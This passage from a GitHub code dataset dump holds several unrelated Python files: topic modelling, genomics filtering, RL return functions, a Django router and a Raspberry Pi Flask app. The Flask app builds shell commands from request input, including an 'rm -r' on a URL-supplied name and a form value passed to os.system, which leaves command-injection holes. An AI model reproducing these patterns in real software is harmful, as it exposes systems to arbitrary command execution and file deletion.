_test()\n","repo_name":"budui/flare_removal_pytorch","sub_path":"tools/module_graph.py","file_name":"module_graph.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"} +{"seq_id":"40885707613","text":"# coding:utf8\r\n\r\n\"\"\"\r\nDescription:LSA/LSI 潜在语义分析/索引\r\nAuthor：伏草惟存\r\nPrompt: code in Python3 env\r\n\"\"\"\r\n\r\nfrom mydict import *\r\nfrom gensim import corpora, models\r\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\r\nimport pickle as pkl\r\n# python的pickle模块实现了基本的数据序列和反序列化。\r\n# 通过pickle模块的序列化操作我们能够将程序中运行的对象信息保存到文件中去，永久存储。\r\n# 通过pickle模块的反序列化操作，我们能够从文件中创建上一次程序保存的对象。\r\n\r\n'''\r\n作者：黄小猿\r\n主题模型（LDA）(一)--通俗理解与简单应用\r\nhttps://blog.csdn.net/qq_39422642/article/details/78730662\r\n\r\n什么是LDA？\r\n它是一种无监督的贝叶斯模型。\r\n是一种主题模型，它可以将文档集中的每篇文档按照概率分布的形式给出。\r\n是一种无监督学习，在训练时不需要手工标注的训练集，需要的是文档集和指定主题的个数。\r\n是一种典型的词袋模型，它认为一篇文档是由一组词组成的集合，词与词之间没有顺序和先后关系。\r\n'''\r\n\r\n# LSA 潜在语义分析\r\ndef gensim_Corpus(corpus=None):\r\n dictionary = corpora.Dictionary(corpus)\r\n # 1 doc_bow转化成tfidf向量\r\n doc_bow_corpus = [dictionary.doc2bow(doc_cut) for doc_cut in corpus]\r\n tfidf_model = models.TfidfModel(dictionary=dictionary) # 生成tfidf模型\r\n tfidf_corpus = [tfidf_model[doc_bow] for doc_bow in doc_bow_corpus] # 将每doc_bow转换成对应的tfidf_doc向量\r\n print('doc_bow转换成对应的tfidf_doc向量:\\n',tfidf_corpus)\r\n\r\n # 2 生成lsi model\r\n lsi_model = models.LsiModel(corpus=tfidf_corpus, id2word=dictionary, num_topics=10)\r\n # 转换成lsi向量\r\n lsi_corpus = [lsi_model[tfidf_doc] for tfidf_doc in tfidf_corpus]\r\n print('LSA生成主题:\\n',lsi_corpus)\r\n\r\n # 3 将lsi模型存储到磁盘上\r\n savepath =r'../dataSet/files/lsi_model.pkl'\r\n lsi_file = open(savepath, 'wb')\r\n pkl.dump(lsi_model, lsi_file)\r\n lsi_file.close()\r\n print('--- lsi模型已经生成 ---')\r\n\r\n\r\nif __name__=='__main__':\r\n # corpus参数样例数据如下：\r\n corpus,classVec = loadDataSet()\r\n gensim_Corpus(corpus)\r\n","repo_name":"bainingchao/DataProcess","sub_path":"GensimVec/LSA.py","file_name":"LSA.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"zh","doc_type":"code","stars":64,"dataset":"github-code","pt":"82"} +{"seq_id":"8820253946","text":"#STEP 14\r\n# https://github.com/puolival/multipy is used\r\n#from statsmodels.stats.tests.test_multi import fdrcorrection\r\nfrom multipy.fdr import lsu\r\nfrom multipy.data import neuhaus\r\nimport numpy as np\r\nimport os\r\ndef step14():\r\n\tprint ('step 14 start')\r\n\ttry:\r\n\t\tff = \"data/SNA_driver_gene_list_FDR5.tsv\"\r\n\t\tif os.path.exists(ff) and os.path.getsize(ff) > 1024:\r\n\t\t\tpass\r\n\t\telse:\r\n\t\t\tp = []\r\n\t\t\tgenes = []\r\n\t\t\twith open(\"data/SNA_classification_genes_NSEI_HISR_Pvalues.tsv\",'r') as f:\r\n\t\t\t\tf.readline()\r\n\t\t\t\tfor line in f:\r\n\t\t\t\t\tgenes.append(line.split(\"\\t\")[0])\r\n\t\t\t\t\tp.append(float(line.split(\"\\t\")[-1]))\r\n\t\t\tp = np.array(p)\r\n\t\t\t#p_fdr = fdrcorrection(p, alpha=0.05)\r\n\r\n\t\t\tp1 = lsu(p, q=0.05)\r\n\t\t\ttrue = []\r\n\t\t\tfor i in range (len(p)):\r\n\t\t\t\tif p1[i] == True:\r\n\t\t\t\t\ttrue.append(genes[i])\r\n\r\n\t\t\twith open(\"data/SNA_classification_genes_NSEI_HISR_Pvalues.tsv\",'r') as f:\r\n\t\t\t\twith open(\"data/SNA_driver_gene_list_FDR5.tsv\",'w') as out:\r\n\t\t\t\t\tout.write(f.readline())\r\n\t\t\t\t\tfor line in f:\r\n\t\t\t\t\t\tif line.split(\"\\t\")[0] in true:\r\n\t\t\t\t\t\t\tout.write(line)\r\n\texcept:\r\n\t\tprint ('check your file in data/ to execute script')","repo_name":"belikov-av/SNADRIF","sub_path":"step_14.py","file_name":"step_14.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"9904746190","text":"# https://leetcode.com/problems/valid-palindrome/\n# https://leetcode.com/problems/valid-palindrome/submissions/1097932406/\nclass Solution:\n chars = ()\n def isPalindrome(self, s: str) -> bool:\n def ignore_char(char:str) -> bool:\n return char.isalnum() == False or char == ' '\n\n start = 0\n end = len(s) - 1\n\n if end <= 0:\n return True # empty string\n\n\n\n while start <= end:\n beginning_char = s[start].lower()\n end_char = s[end].lower()\n\n if ignore_char(beginning_char):\n start = start + 1\n continue\n if ignore_char(end_char):\n end = end - 1\n continue\n\n if beginning_char != end_char:\n return False\n\n else:\n start += 1\n end -= 1\n\n return True\n\n # cheese way lol\n # return input == input[:-1]\n\n\nprint(Solution().isPalindrome(\"race a car\"))\n","repo_name":"Rash20000/leetcode","sub_path":"Two Pointers/valid-palindrome.py","file_name":"valid-palindrome.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19443381281","text":"import segyio\nimport numpy as np\nimport sys\n\n\ndef create_varsize(path, ilines_number, xlines_number, samples_number):\n \"\"\" File with provided dimensions filled wih some data\"\"\"\n spec = segyio.spec()\n\n spec.sorting = 2\n spec.format = 1\n spec.ilines = range(int(ilines_number))\n spec.xlines = range(int(xlines_number))\n spec.samples = range(int(samples_number))\n\n print(\"Creating file with dimensions {}:{}:{}\".format(\n ilines_number, xlines_number, samples_number))\n\n # We use scaling constant of -10, meaning that values will be divided by 10\n # note that lines are not perpendicular\n il_step_x = int(1.1 * 10)\n il_step_y = int(0 * 10)\n xl_step_x = int(0 * 10)\n xl_step_y = int(3.3 * 10)\n ori_x = int(1 * 10)\n ori_y = int(3 * 10)\n\n with segyio.create(path, spec) as f:\n data = -5\n tr = 0\n for il in spec.ilines:\n for xl in spec.xlines:\n f.header[tr] = {\n segyio.su.iline: il,\n segyio.su.xline: xl,\n segyio.su.cdpx:\n (il - spec.ilines[0]) * il_step_x +\n (xl - spec.xlines[0]) * xl_step_x +\n ori_x,\n segyio.su.cdpy:\n (il - spec.ilines[0]) * il_step_y +\n (xl - spec.xlines[0]) * xl_step_y +\n ori_y,\n segyio.su.scalco: -10,\n }\n data = data + 0.00001\n f.trace[tr] = np.linspace(\n start=data, stop=data+2, num=len(spec.samples), dtype=np.single)\n tr += 1\n\n f.bin.update(tsort=segyio.TraceSortingFormat.INLINE_SORTING)\n\n\nif __name__ == \"__main__\":\n path = sys.argv[1]\n ilines = sys.argv[2]\n xlines = sys.argv[3]\n samples = sys.argv[4]\n create_varsize(path, ilines, xlines, samples)\n","repo_name":"equinor/vds-slice","sub_path":"testdata/varsize/make_varsize.py","file_name":"make_varsize.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"42643246017","text":"from django.urls import path\nfrom questions import views\n\napp_name = 'questions'\nurlpatterns = [\n path('', views.QuestionDetailAPI.as_view(), name='question_detail'),\n # path('student_exams', views.StudentExamPrivateListAPI.as_view(), name='student_exam_detail'),\n # path('submit', views.SubmitExamAPI.as_view()),\n path('create', views.CreateQuestionAPI.as_view()),\n path('edit', views.EditQuestionAPI.as_view()),\n path('questions-by-teacher', views.GetQuestionsByTeacher.as_view()),\n path('questions-teacher-remain', views.GetQuestionsByTeacherRemain.as_view()),\n path('add-to-exam', views.AddToExam.as_view())\n\n]","repo_name":"Natsu1270/Ucourse","sub_path":"UCourse/questions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"13376102511","text":"#!/usr/bin/env python\n\nimport argparse\nfrom timedomain.filters import *\nfrom timedomain.iterators import *\nfrom timedomain.sp_utils import *\nimport sys\n\n\n__version__=0.1\n\ndef main(args):\n \"\"\" Main entry point of the app \"\"\"\n print(\"Start \", args)\n logic = getattr(sys.modules[__name__], args.logic)\n iterator = getattr(sys.modules[__name__], args.iterator)\n\n # make this none for results to appear in the notebook\n spdf = [\"diff\",logic.__name__,args.subdir,args.trunk,args.date]\n for pspectra0,pspectra1 in iterator(args.date,subdir=args.subdir,trunk=args.trunk, verbose=True):\n # which of these are real targets\n triggered, diff = logic.filter(pspectra0,pspectra1, norm=True,ston_cut=5)\n\n # plot triggered objects\n if triggered.sum() > 0:\n\n wheretriggered = np.where(triggered)[0]\n\n for sig in wheretriggered.flat:\n SkyPortal.postCandidate(sig, diff.fibermap)\n targetid = diff.fibermap['TARGETID'].data[sig].astype('str')\n SkyPortal.postSpectra(targetid, diff)\n SkyPortal.postSpectra(targetid, pspectra0)\n SkyPortal.postSpectra(targetid, pspectra1)\n logic.plotter(sig,pspectra0, pspectra1, diff, savepdf=spdf)\n print(\"End\")\n \nif __name__ == \"__main__\":\n \n # ./diff.py 20201223 CVLogic Date_SpectraPairs_Iterator daily coadd\n # ./diff.py 20201223 CVLogic Date_TargetPairs_Iterator daily spectra\n \n# date = \"20201223\"\n# subdir = 'daily'\n# trunk='coadd'\n \"\"\" This is executed when run from the command line \"\"\"\n parser = argparse.ArgumentParser()\n\n # Required positional argument\n parser.add_argument(\"date\", help=\"Required positional argument\")\n parser.add_argument(\"logic\", help=\"Required positional argument\") \n parser.add_argument(\"iterator\", help=\"Required positional argument\")\n parser.add_argument(\"subdir\", help=\"Required positional argument\")\n parser.add_argument(\"trunk\", help=\"Required positional argument\")\n \n \n #If there are more than 1 obsdate, provide a 2D array\n parser.add_argument('-o', '--obsdates_tilenumbers', nargs='+', type=str,default=None,\n help='str array with columns obsdate, tilenumber, separated by |')\n \n # Optional argument flag which defaults to False\n# parser.add_argument('-f', '--flag', action=\"store_true\", default=False)\n\n # Optional argument which requires a parameter (eg. -d test)\n# parser.add_argument(\"-n\", \"--name\", action=\"store\", dest=\"name\")\n# parser.add_argument('-i','--iargs', nargs='+', action=\"store\", dest=\"iargs\")\n\n\n # Optional verbosity counter (eg. -v, -vv, -vvv, etc.)\n# parser.add_argument(\n# '-v',\n# '--verbose',\n# action='count',\n# default=0,\n# help=\"Verbosity (-v, -vv, etc)\")\n\n# # Specify output of '--version'\n# parser.add_argument(\n# '--version',\n# action='version',\n# version='%(prog)s (version {version})'.format(version=__version__))\n\n args = parser.parse_args()\n main(args)","repo_name":"desihub/timedomain","sub_path":"timedomain/bin/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"24008418879","text":"from flask import Flask, render_template, make_response, request, url_for, redirect\nimport random\nimport sys\nimport os\nimport glob\n\napp = Flask(__name__)\n\n@app.route('/')\ndef temp_page():\n response = make_response(render_template('main.html',\n camera = url_for('camera'), led = url_for('led'), water = url_for('water')))\n return response\n \n@app.route('/camera')\ndef camera():\n response = make_response(render_template('camera.html',\n camera_1 = url_for('camera_1'), camera_2 = url_for('camera_2'),\n camera_3 = url_for('camera_3'), camera_4 = url_for('camera_4'),\n camera_5 = url_for('camera_5'), back = url_for('temp_page')))\n return response\n\n@app.route('/led')\ndef led():\n response = make_response(render_template('led.html',\n led_1 = url_for('led_1'), led_2 = url_for('led_2'),\n led_3 = url_for('led_3'), back = url_for('temp_page')))\n return response\n\n@app.route('/water')\ndef water():\n response = make_response(render_template('water.html',\n water_1 = url_for('water_1'), water_2 = url_for('water_2'),\n water_3 = url_for('water_3'), back = url_for('temp_page')))\n return response\n\n@app.route('/camera_1')\ndef camera_1():\n\n pictures = glob.glob(os.path.join(os.getcwd(), \"static/img/*.jpg\"))\n i=0\n for picture in pictures:\n pictures[i] = os.path.basename(pictures[i])\n i+=1\n pictures.sort()\n\n response = make_response(render_template('picture_list.html', back = url_for('camera'),\n image = url_for('image'), pictures = pictures))\n return response\n\n@app.route('/camera_2')\ndef camera_2():\n os.system(os.path.join(os.getcwd(), \"static/img/camera\"))\n\n pictures = glob.glob(os.path.join(os.getcwd(), \"static/img/*.jpg\"))\n i=0\n for picture in pictures:\n pictures[i] = os.path.basename(pictures[i])\n i+=1\n pictures.sort()\n\n response = make_response(render_template('catch.html', picture = url_for('temp_page')+\"static/img/\"+pictures[len(pictures)-1],\n back = url_for('camera')))\n return response\n\n@app.route('/camera_3')\ndef camera_3():\n return redirect(url_for('minute'))\n\n@app.route('/camera_4')\ndef camera_4():\n os.system(\"crontab -r\")\n f = open(\"camera.txt\", 'w')\n f.close()\n what = 'c'\n response = make_response(render_template('cancle.html', back = url_for('camera'), what = 'C'))\n return response\n\n@app.route('/camera_5')\ndef camera_5():\n f = open(\"camera.txt\", 'r')\n minute = \"\"\n hour = \"\"\n week = \"\"\n check = 0\n asc = f.read()\n if len(asc) == 0:\n response = make_response(render_template('time_of_camera_fail.html'), back=url_for('camera'))\n return response\n while asc[check] != ' ':\n check = check + 1\n minute = asc[0:check]\n asc = asc[check+1:]\n check = 0\n while asc[check] != ' ':\n check = check + 1\n hour = asc[0:check]\n asc = asc[check+5:]\n check = 0\n while asc[check] != ' ':\n check = check + 1\n week = asc[0:check]\n\n response = make_response(render_template('time_of_camera.html'), week=week, hour=hour, minute=minute,\n back = url_for('camera'))\n return response\n\n@app.route('/image')\n@app.route('/image/')\ndef image(name):\n response = make_response(render_template('image.html', name=name, delete=url_for('delete_page'),\n list=url_for('camera_1'), back=url_for('temp_page')))\n return response\n\n@app.route('/delete_page')\n@app.route('/delete_page/')\ndef delete_page(name):\n response = make_response(render_template('delete_page.html', delete=url_for('delete'),\n name=name, list=url_for('camera_1')))\n return response\n\n@app.route('/delete')\n@app.route('/delete/')\ndef delete(name):\n os.system(\"rm -r ./static/img/\"+name)\n return redirect(url_for('camera_1'))\n\n@app.route('/minute')\ndef minute():\n response = make_response(render_template('minute.html', cal = url_for('minute_cal')))\n return response\n\n@app.route('/minute_cal', methods=['POST'])\ndef minute_cal():\n f = open(\"camera.txt\", 'w')\n\n list = request.form.getlist('o[]')\n str = \"\"\n\n if list:\n start = 1\n str = str + list[0]\n while start < len(list):\n str = str + \",\" + list[start]\n start = start + 1\n else:\n str = \"*\"\n\n f.write(str)\n\n f.close()\n return redirect(url_for('hour'))\n\n@app.route('/hour')\ndef hour():\n response = make_response(render_template('hour.html', cal = url_for('hour_cal')))\n return response\n\n@app.route('/hour_cal', methods=['POST'])\ndef hour_cal():\n f = open(\"camera.txt\", 'a')\n f.write(\" \")\n\n list = request.form.getlist('o[]')\n str = \"\"\n\n if list:\n start = 1\n str = str + list[0]\n while start < len(list):\n str = str + \",\" + list[start]\n start = start + 1\n else:\n str = \"*\"\n\n f.write(str)\n\n f.close()\n return redirect(url_for('week'))\n\n@app.route('/week')\ndef week():\n response = make_response(render_template('week.html', cal = url_for('week_cal')))\n return response\n\n@app.route('/week_cal', methods=['POST'])\ndef week_cal():\n f = open(\"camera.txt\", 'a')\n f.write(\" * * \")\n\n list = request.form.getlist('o[]')\n str = \"\"\n\n if list:\n start = 1\n str = str + list[0]\n while start < len(list):\n str = str + \",\" + list[start]\n start = start + 1\n else:\n str = \"*\"\n\n f.write(str+ \" \" +os.path.join(os.getcwd(), \"static/img/camera\\n\"))\n\n f.close()\n os.system(\"crontab -r\")\n os.system(\"crontab camera.txt\")\n return redirect(url_for('camera'))\n\n@app.route('/led_1')\ndef led_1():\n response = make_response(render_template('led_1.html', cal = url_for('led_1_cal')))\n return response\n\n@app.route('/led_2')\ndef led_2():\n os.system(\"/home/pi/embeded/dht -200 100\")\n response = make_response(render_template('cancle.html', back = url_for('led'), what = 'L'))\n return response\n\n@app.route('/led_3')\ndef led_3():\n return redirect(url_for('led'))\n\n@app.route('/led_1_cal', methods=['POST'])\ndef led_2_cal():\n os.system(\"/home/pi/embeded/dht \"+request.form['degree']+\" 100\")\n return redirect('led')\n\n\n@app.route('/water_1')\ndef water_1():\n return redirect(url_for('water'))\n\n@app.route('/water_2')\ndef water_2():\n return redirect(url_for('water'))\n\n@app.route('/water_3')\ndef water_3():\n response = make_response(render_template('cancle.html', back = url_for('water'), what = 'W'))\n return response\n\n@app.route('/water_4')\ndef water_4():\n return redirect(url_for('water'))\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"saemm/embedded-caffeinaddicted","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":6873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8819441566","text":"# -*- coding: utf-8 -*-\nimport os\nimport argparse\nfrom collections import Counter\nimport shutil\nimport gzip\n\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom utils.utils import check_filesize, check_hash, download_ftp\n\n\ndef to_patient(barcode):\n return '-'.join(barcode.split('-')[:3])\n\n'''\ndef filter_val(cna_val, other_val):\n if cna_val * other_val > 0:\n if np.abs(cna_val) == 1 or np.abs(other_val) == 1:\n result = 1 * np.sign(cna_val)\n else:\n result = 2 * np.sign(cna_val)\n else:\n result = 0\n return np.int16(result)\n'''\n\ndef filter_val(cna_val, other_val):\n if cna_val * other_val > 0:\n if np.abs(other_val) == 1:\n result = 1 * np.sign(cna_val)\n else:\n result = 2 * np.sign(cna_val)\n else:\n result = 0\n return np.int16(result)\n\n\ndef decide_by_rows(row1, row2):\n row1 = np.array(row1)\n row2 = np.array(row2)\n return np.max([row1, row2], axis=0)\n\n\ndef find_dtypes(df_path):\n with open(df_path, 'r') as df_file:\n first_line = df_file.readline().replace('\\n', '')\n column_names = first_line.split('\\t')\n dtype_dict = {}\n for column in column_names:\n if 'TCGA' in column:\n dtype_dict[column] = np.int16\n else:\n dtype_dict[column] = str\n return dtype_dict\n\n\ndef step12(input_dir: str = 'data', output_folder_path: str = 'data'):\n\n print('Step 12')\n\n cna_path = os.path.join(input_dir, 'ISAR_GISTIC.all_thresholded.by_genes_primary_whitelisted.tsv')\n rna_path = os.path.join(input_dir, 'EBPlusPlusAdjustPANCAN_IlluminaHiSeq_RNASeqV2-v2.geneExp_primary_whitelisted_median.tsv')\n mi_rna_path = os.path.join(input_dir, 'pancanMiRs_EBadjOnProtocolPlatformWithoutRepsWithUnCorrectMiRs_08_04_16_primary_whitelisted_median.tsv')\n gene_annot_path = os.path.join(input_dir, 'Homo_sapiens.gene_info')\n\n if not os.path.isfile(gene_annot_path):\n download_link = 'ftp://ftp.ncbi.nih.gov/gene/DATA/GENE_INFO/Mammalia/Homo_sapiens.gene_info.gz'\n download_ftp(download_link, gene_annot_path+'.gz')\n\n # unzip file\n with gzip.open(gene_annot_path+'.gz', 'rb') as f_in:\n with open(gene_annot_path, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n # remove archive\n os.remove(gene_annot_path+'.gz')\n\n # Check size\n size_pass = check_filesize(gene_annot_path)\n if not size_pass:\n raise Exception(f'file: {gene_annot_path} has wrong size, please check input file and do this step again')\n\n output_file_path = os.path.join(output_folder_path, 'ISAR_GISTIC.all_thresholded.by_genes_primary_whitelisted_RNAfiltered.tsv')\n\n if not os.path.isdir(output_folder_path):\n os.makedirs(output_folder_path)\n\n if not os.path.isfile(output_file_path):\n\n vect_filter_val = np.vectorize(filter_val)\n\n print('Reading gene annotation table')\n required_columns = ['GeneID', 'Symbol', 'Synonyms']\n gene_corresp_df = pd.read_csv(gene_annot_path, sep='\\t', usecols=required_columns)\n\n print('CNA file reading and preprocessing')\n cna_dtypes = find_dtypes(cna_path)\n cna_df = pd.read_csv(cna_path, sep='\\t', header=0, dtype=cna_dtypes)\n cna_df.index = np.array(cna_df['Locus ID'], dtype=int)\n cna_df.drop(columns=['Locus ID'], inplace=True)\n cna_df.rename(columns={'Gene Symbol': 'gene_name'})\n num_columns_cna = len(cna_df.columns)\n cna_df.columns = list(map(to_patient, list(cna_df.columns)))\n cna_df.index.name = 'gene_id'\n\n # not unique genes deduplication\n cna_df = cna_df.loc[cna_df.index.drop_duplicates(keep=False)]\n\n print('RNA file reading and preprocessing')\n rna_dtypes = find_dtypes(rna_path)\n rna_df = pd.read_csv(rna_path, sep='\\t', header=0, dtype=rna_dtypes)\n rna_df.columns = list(map(to_patient, list(rna_df.columns)))\n rna_df.insert(loc=0, column='gene_name', value=[s.split('|')[0].upper() for s in rna_df['gene_id']])\n rna_df['gene_id'] = [int(s.split('|')[1].upper()) for s in rna_df['gene_id']]\n rna_df.index = rna_df['gene_id']\n rna_df.index.name = 'gene_id'\n rna_df.drop(columns=['gene_id'], inplace=True)\n\n # not unique patients investigation\n rna_counter = Counter(list(rna_df.columns))\n not_unique_patients = [patient for patient, count in rna_counter.items() if count > 1]\n # remove those patients\n rna_df.drop(columns=not_unique_patients, inplace=True)\n\n # not unique genes deduplication\n rna_df = rna_df.loc[rna_df.index.drop_duplicates(keep=False)]\n\n # we choose common patients and genes, and apply rule to them\n print('CNA - RNA filtering')\n CNA_RNA_patients = sorted(list(set(rna_df.columns).intersection(set(cna_df.columns))))\n CNA_RNA_genes = sorted(list(set(rna_df.index).intersection(set(cna_df.index))))\n\n #cna_df.loc[CNA_RNA_genes, CNA_RNA_patients] = vect_filter_val(cna_df.loc[CNA_RNA_genes, CNA_RNA_patients],\n # rna_df.loc[CNA_RNA_genes, CNA_RNA_patients])\n cna_df.loc[CNA_RNA_genes, CNA_RNA_patients] = cna_df.loc[CNA_RNA_genes, CNA_RNA_patients]\\\n .combine(rna_df.loc[CNA_RNA_genes, CNA_RNA_patients], vect_filter_val)\n\n print('miRNA file reading and preprocessing')\n mi_rna_dtypes = find_dtypes(mi_rna_path)\n mi_rna_df = pd.read_csv(mi_rna_path, sep='\\t', header=0, dtype=mi_rna_dtypes)\n mi_rna_df.columns = list(map(to_patient, list(mi_rna_df.columns)))\n mi_rna_df['gene_id'] = [x.replace('hsa-', '') for x in mi_rna_df['gene_id']]\n mi_rna_df = mi_rna_df.rename(columns={'gene_id': 'gene_name'})\n mi_rna_df = mi_rna_df.sort_values(by='gene_name')\n mi_rna_df.index = mi_rna_df['gene_name']\n mi_rna_df.drop(columns=['gene_name'], inplace=True)\n\n # find 3-prime, 5-prime pairs\n sorted_gene_names = list(mi_rna_df.index)\n corresp_3_to_5 = dict()\n for row_ix in range(len(sorted_gene_names) - 1):\n if sorted_gene_names[row_ix].replace('3p', '5p') == sorted_gene_names[row_ix + 1]:\n corresp_3_to_5[sorted_gene_names[row_ix]] = sorted_gene_names[row_ix + 1]\n # choose max among them\n for gene_name_3p in corresp_3_to_5:\n gene_name_5p = corresp_3_to_5[gene_name_3p]\n mi_rna_df.loc[gene_name_3p] = decide_by_rows(mi_rna_df.loc[gene_name_3p].values,\n mi_rna_df.loc[gene_name_5p].values)\n # delete unnecessary 5-prime\n indexes_to_delete = list(corresp_3_to_5.values())\n mi_rna_df.drop(index=indexes_to_delete, inplace=True)\n mi_rna_df.index = [x.replace('-3p', '').replace('-5p', '') for x in mi_rna_df.index]\n\n #finally match genes\n corresp_ids = []\n for query_gene in mi_rna_df.index:\n found = False\n for ref_ix, ref_gene_name in enumerate(gene_corresp_df['Symbol']):\n ref_gene_name = ref_gene_name.lower()\n query_gene = query_gene.replace('-', '').lower()\n if 'mir' + query_gene == ref_gene_name or query_gene == ref_gene_name:\n corresp_ids.append(gene_corresp_df['GeneID'][ref_ix])\n found = True\n if not found:\n corresp_ids.append(None)\n\n mi_rna_df = mi_rna_df.reset_index().rename(columns={'index': 'gene_name'})\n mi_rna_df.insert(loc=0, column='gene_id', value=corresp_ids)\n mi_rna_df = mi_rna_df[mi_rna_df['gene_id'].notna()]\n mi_rna_df.index = mi_rna_df['gene_id'].astype(int)\n mi_rna_df = mi_rna_df.drop(columns=['gene_id'])\n\n # not unique patients investigation\n mi_rna_counter = Counter(list(mi_rna_df.columns))\n not_unique_patients = [patient for patient, count in mi_rna_counter.items() if count > 1]\n # remove them\n mi_rna_df.drop(columns=not_unique_patients, inplace=True)\n\n # not unique genes deduplication\n mi_rna_df = mi_rna_df.loc[mi_rna_df.index.drop_duplicates(keep=False)]\n\n\n print('CNA - miRNA filtering')\n CNA_miRNA_patients = sorted(list(set(mi_rna_df.columns).intersection(set(cna_df.columns))))\n CNA_miRNA_genes = sorted(list(set(mi_rna_df.index).intersection(set(cna_df.index))))\n\n #cna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients] = vect_filter_val(cna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients],\n # mi_rna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients])\n cna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients] = cna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients]\\\n .combine(mi_rna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients], vect_filter_val)\n\n print('saving the results')\n cna_df.to_csv(output_file_path, sep = '\\t', header=True, index=True)\n\n # Check for filesize\n size_pass = check_filesize(output_file_path)\n if not size_pass:\n raise Exception(f'file: {output_file_path} has wrong size, please check input file and do this step again')\n\n print('OK')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='This script takes ' +\n 'ISAR_GISTIC.all_thresholded.by_genes_primary_whitelisted.tsv file (CNA),' + '\\n' + \\\n 'EBPlusPlusAdjustPANCAN_IlluminaHiSeq_RNASeqV2-v2.geneExp_primary_whitelisted_quartiles.tsv file (RNA),' + '\\n' + \\\n 'pancanMiRs_EBadjOnProtocolPlatformWithoutRepsWithUnCorrectMiRs_08_04_16_primary_whitelisted_quartiles.tsv file (miRNA),' \\\n + '\\n' + 'and basically filters CNA file where possible.' + '\\n' + \\\n 'If output folder does not exist, script will create it.')\n parser.add_argument('-i', '--input_dir', type=str, help='full path to input folder', default='data')\n parser.add_argument('-o', '--output_folder', type=str, help='full path to output folder', default='data')\n\n args = parser.parse_args()\n\n step12(args.input_dir , args.output_folder)\n","repo_name":"belikov-av/GECNAV","sub_path":"step_12.py","file_name":"step_12.py","file_ext":"py","file_size_in_byte":10329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70483094988","text":"# discounting.py: Discounted return functions\n#\n# (C) 2020, Daniel Mouritzen\n\nfrom typing import Optional, Tuple, Union\n\nimport tensorflow as tf\n\nfrom .general import move_dim, scan\n\n\ndef discounted_return(rewards: tf.Tensor,\n discount: Union[tf.Tensor, float],\n final_value: Optional[tf.Tensor] = None,\n axis: int = 1,\n stop_gradient: bool = True,\n ) -> tf.Tensor:\n \"\"\"\n Calculate discounted return as per this formula:\n V[t] = sum(discount**n * rewards[t+n] for n in range(len(rewards)-t)) + discount**(len(rewards)-t) * final_value\n\n For numerical stability, it is implemented recursively:\n V[last+1] = final_value\n V[t] = rewards[t] + discount * V[t + 1]\n \"\"\"\n if isinstance(discount, (float, int)) or discount.shape.num_elements() == 1:\n if discount == 1:\n return_ = tf.reduce_sum(rewards, axis)\n if final_value is not None:\n return_ += final_value\n return return_\n discount = discount * tf.ones_like(rewards)\n else:\n assert rewards.shape == discount.shape, (rewards.shape, discount.shape)\n if final_value is None:\n final_value = tf.zeros_like(rewards[-1])\n return_ = scan(fn=lambda accumulated, current: current[0] + current[1] * accumulated,\n elems=(rewards, discount),\n initializer=final_value,\n back_prop=not stop_gradient,\n axis=axis,\n reverse=True)\n if stop_gradient:\n return_ = tf.stop_gradient(return_)\n return return_\n\n\ndef lambda_return(rewards: tf.Tensor,\n values: tf.Tensor,\n discount: Union[tf.Tensor, float],\n lambda_: float,\n final_value: Optional[tf.Tensor] = None,\n axis: int = 1,\n stop_gradient: bool = True,\n ) -> tf.Tensor:\n \"\"\"\n Calculate lambda return as per this formula:\n dr(t, n) = discounted_return(reward[t:t + n], discount[t:t + n], values[t + n])[0]\n V[t] = ((1 - lambda_) * sum(lambda_**(n - 1) * dr(t, n) for n in range(1, T - t))\n + lambda_**(T - t - 1) * dr(t, T - t))\n\n For numerical stability, it is implemented recursively:\n V[last+1] = final_value\n V[t] = rewards[t] + discount * ((1 - lambda_) * values[t + 1] + lambda * V[t + 1])\n\n Setting lambda=1 gives a discounted Monte Carlo return.\n Setting lambda=0 gives a fixed 1-step return.\n \"\"\"\n if isinstance(discount, (int, float)) or discount.shape.num_elements() == 1:\n discount = discount * tf.ones_like(rewards)\n assert rewards.shape == values.shape == discount.shape, 'Incompatible shapes!'\n rewards, values, discount = move_dim((rewards, values, discount), axis, 0)\n if final_value is None:\n final_value = tf.zeros_like(values[-1])\n next_values = tf.concat([values[1:], final_value[tf.newaxis]], 0)\n\n def fn(accumulated: tf.Tensor, current: Tuple[tf.Tensor, tf.Tensor, tf.Tensor]) -> tf.Tensor:\n reward, next_value, d = current\n return reward + d * ((1 - lambda_) * next_value + lambda_ * accumulated)\n\n return_ = scan(fn=fn,\n elems=(rewards, next_values, discount),\n initializer=final_value,\n back_prop=not stop_gradient,\n axis=0,\n reverse=True)\n if stop_gradient:\n return_ = tf.stop_gradient(return_)\n return move_dim(return_, 0, 